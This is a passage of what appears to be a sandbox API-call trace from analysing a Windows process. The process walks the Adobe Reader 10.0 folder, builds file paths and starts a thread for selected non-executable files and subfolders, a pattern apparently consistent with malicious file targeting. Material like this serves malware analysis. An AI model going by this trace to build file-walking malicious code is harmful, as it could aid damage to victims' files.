lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x47f98, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroBroker.exe", cAlternateFileName="ACROBR~1.EXE")) returned 1 [0101.065] wcscmp (_String1="AcroBroker.exe", _String2=".") returned 1 [0101.065] wcscmp (_String1="AcroBroker.exe", _String2="..") returned 1 [0101.065] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrofx32.dll", cAlternateFileName="")) returned 1 [0101.065] wcscmp (_String1="Acrofx32.dll", _String2=".") returned 1 [0101.065] wcscmp (_String1="Acrofx32.dll", _String2="..") returned 1 [0101.065] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16a0398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32.dll", cAlternateFileName="")) returned 1 [0101.065] wcscmp (_String1="AcroRd32.dll", _String2=".") returned 1 [0101.066] wcscmp (_String1="AcroRd32.dll", _String2="..") returned 1 [0101.066] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13ad98, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32.exe", cAlternateFileName="")) returned 1 [0101.066] wcscmp (_String1="AcroRd32.exe", _String2=".") returned 1 [0101.066] wcscmp (_String1="AcroRd32.exe", _String2="..") returned 1 [0101.066] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x803069c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x45a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32Info.exe", cAlternateFileName="ACRORD~1.EXE")) returned 1 [0101.066] wcscmp (_String1="AcroRd32Info.exe", _String2=".") returned 1 [0101.066] wcscmp (_String1="AcroRd32Info.exe", _String2="..") returned 1 [0101.066] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbfa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroTextExtractor.exe", cAlternateFileName="ACROTE~1.EXE")) returned 1 [0101.066] wcscmp (_String1="AcroTextExtractor.exe", _String2=".") returned 1 [0101.066] wcscmp (_String1="AcroTextExtractor.exe", _String2="..") returned 1 [0101.066] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.Reader.Dependencies.manifest", cAlternateFileName="ADOBER~1.MAN")) returned 1 [0101.066] wcscmp (_String1="Adobe.Reader.Dependencies.manifest", _String2=".") returned 1 [0101.066] wcscmp (_String1="Adobe.Reader.Dependencies.manifest", _String2="..") returned 1 [0101.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202adef0 [0101.066] wcscpy (in: _Dest=0x202adef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0101.066] wcscat (in: _Dest=0x202adef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0101.066] wcscat (in: _Dest=0x202adef0, _Source="Adobe.Reader.Dependencies.manifest" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest" [0127.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202adef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684 [0127.406] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80541e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x128fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.exe", cAlternateFileName="ADOBEC~1.EXE")) returned 1 [0127.406] wcscmp (_String1="AdobeCollabSync.exe", _String2=".") returned 1 [0127.406] wcscmp (_String1="AdobeCollabSync.exe", _String2="..") returned 1 [0127.406] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de214c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb8fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeLinguistic.dll", cAlternateFileName="ADOBEL~1.DLL")) returned 1 [0127.406] wcscmp (_String1="AdobeLinguistic.dll", _String2=".") returned 1 [0127.407] wcscmp (_String1="AdobeLinguistic.dll", _String2="..") returned 1 [0127.407] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37398, dwReserved0=0x0, dwReserved1=0x0, cFileName="adoberfp.dll", cAlternateFileName="")) returned 1 [0127.407] wcscmp (_String1="adoberfp.dll", _String2=".") returned 1 [0127.407] wcscmp (_String1="adoberfp.dll", _String2="..") returned 1 [0127.407] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x803069c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a598, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeXMP.dll", cAlternateFileName="")) returned 1 [0127.407] wcscmp (_String1="AdobeXMP.dll", _String2=".") returned 1 [0127.407] wcscmp (_String1="AdobeXMP.dll", _String2="..") returned 1 [0127.407] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80352c80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53f988, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGM.dll", cAlternateFileName="")) returned 1 [0127.407] wcscmp (_String1="AGM.dll", _String2=".") returned 1 [0127.407] wcscmp (_String1="AGM.dll", _String2="..") returned 1 [0127.407] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGMGPUOptIn.ini", cAlternateFileName="AGMGPU~1.INI")) returned 1 [0127.407] wcscmp (_String1="AGMGPUOptIn.ini", _String2=".") returned 1 [0127.407] wcscmp (_String1="AGMGPUOptIn.ini", _String2="..") returned 1 [0127.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d770 [0127.407] wcscpy (in: _Dest=0x1cf4d770, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0127.407] wcscat (in: _Dest=0x1cf4d770, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0127.407] wcscat (in: _Dest=0x1cf4d770, _Source="AGMGPUOptIn.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGMGPUOptIn.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGMGPUOptIn.ini" [0127.408] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4 [0127.409] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x366c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ahclient.dll", cAlternateFileName="")) returned 1 [0127.409] wcscmp (_String1="ahclient.dll", _String2=".") returned 1 [0127.409] wcscmp (_String1="ahclient.dll", _String2="..") returned 1 [0127.409] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIR", cAlternateFileName="")) returned 1 [0127.409] wcscmp (_String1="AIR", _String2=".") returned 1 [0127.409] wcscmp (_String1="AIR", _String2="..") returned 1 [0127.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7c2590 [0127.409] wcscpy (in: _Dest=0x1b7c2590, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0127.409] wcscat (in: _Dest=0x1b7c2590, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0127.409] wcscat (in: _Dest=0x1b7c2590, _Source="AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0127.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c2590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c [0127.411] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5ef398, dwReserved0=0x0, dwReserved1=0x0, cFileName="authplay.dll", cAlternateFileName="")) returned 1 [0127.411] wcscmp (_String1="authplay.dll", _String2=".") returned 1 [0127.411] wcscmp (_String1="authplay.dll", _String2="..") returned 1 [0127.411] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXE8SharedExpat.dll", cAlternateFileName="AXE8SH~1.DLL")) returned 1 [0127.411] wcscmp (_String1="AXE8SharedExpat.dll", _String2=".") returned 1 [0127.412] wcscmp (_String1="AXE8SharedExpat.dll", _String2="..") returned 1 [0127.412] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x91590, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXSLE.dll", cAlternateFileName="")) returned 1 [0127.412] wcscmp (_String1="AXSLE.dll", _String2=".") returned 1 [0127.412] wcscmp (_String1="AXSLE.dll", _String2="..") returned 1 [0127.412] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1af88, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIB.dll", cAlternateFileName="")) returned 1 [0127.412] wcscmp (_String1="BIB.dll", _String2=".") returned 1 [0127.412] wcscmp (_String1="BIB.dll", _String2="..") returned 1 [0127.412] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBUtils.dll", cAlternateFileName="")) returned 1 [0127.412] wcscmp (_String1="BIBUtils.dll", _String2=".") returned 1 [0127.412] wcscmp (_String1="BIBUtils.dll", _String2="..") returned 1 [0127.412] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d95e8c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Browser", cAlternateFileName="")) returned 1 [0127.412] wcscmp (_String1="Browser", _String2=".") returned 1 [0127.412] wcscmp (_String1="Browser", _String2="..") returned 1 [0127.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0127.413] wcscpy (in: _Dest=0x1b85f310, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0127.413] wcscat (in: _Dest=0x1b85f310, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0127.413] wcscat (in: _Dest=0x1b85f310, _Source="Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0127.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85f310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678 [0127.414] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_base.dll", cAlternateFileName="CCME_B~1.DLL")) returned 1 [0127.414] wcscmp (_String1="ccme_base.dll", _String2=".") returned 1 [0127.414] wcscmp (_String1="ccme_base.dll", _String2="..") returned 1 [0127.414] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff9aa20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2aa998, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoolType.dll", cAlternateFileName="")) returned 1 [0127.414] wcscmp (_String1="CoolType.dll", _String2=".") returned 1 [0127.414] wcscmp (_String1="CoolType.dll", _String2="..") returned 1 [0127.414] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802945a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptocme2.dll", cAlternateFileName="CRYPTO~1.DLL")) returned 1 [0127.414] wcscmp (_String1="cryptocme2.dll", _String2=".") returned 1 [0127.414] wcscmp (_String1="cryptocme2.dll", _String2="..") returned 1 [0127.414] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x647, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptocme2.sig", cAlternateFileName="CRYPTO~1.SIG")) returned 1 [0127.415] wcscmp (_String1="cryptocme2.sig", _String2=".") returned 1 [0127.415] wcscmp (_String1="cryptocme2.sig", _String2="..") returned 1 [0127.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cf4d6e0 [0127.415] wcscpy (in: _Dest=0x1cf4d6e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0127.415] wcscat (in: _Dest=0x1cf4d6e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0127.415] wcscat (in: _Dest=0x1cf4d6e0, _Source="cryptocme2.sig" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig" [0127.415] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d6e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x900 [0127.416] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17190, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eula.exe", cAlternateFileName="")) returned 1 [0127.416] wcscmp (_String1="Eula.exe", _String2=".") returned 1 [0127.416] wcscmp (_String1="Eula.exe", _String2="..") returned 1 [0127.416] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa3ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtendScript.dll", cAlternateFileName="EXTEND~1.DLL")) returned 1 [0127.417] wcscmp (_String1="ExtendScript.dll", _String2=".") returned 1 [0127.417] wcscmp (_String1="ExtendScript.dll", _String2="..") returned 1 [0127.417] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb03a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="icucnv40.dll", cAlternateFileName="")) returned 1 [0127.417] wcscmp (_String1="icucnv40.dll", _String2=".") returned 1 [0127.417] wcscmp (_String1="icucnv40.dll", _String2="..") returned 1 [0127.417] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17790, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt40.dll", cAlternateFileName="")) returned 1 [0127.417] wcscmp (_String1="icudt40.dll", _String2=".") returned 1 [0127.417] wcscmp (_String1="icudt40.dll", _String2="..") returned 1 [0127.417] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x837d71e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd46fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt40_full.dll", cAlternateFileName="ICUDT4~1.DLL")) returned 1 [0127.417] wcscmp (_String1="icudt40_full.dll", _String2=".") returned 1 [0127.417] wcscmp (_String1="icudt40_full.dll", _String2="..") returned 1 [0127.417] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, 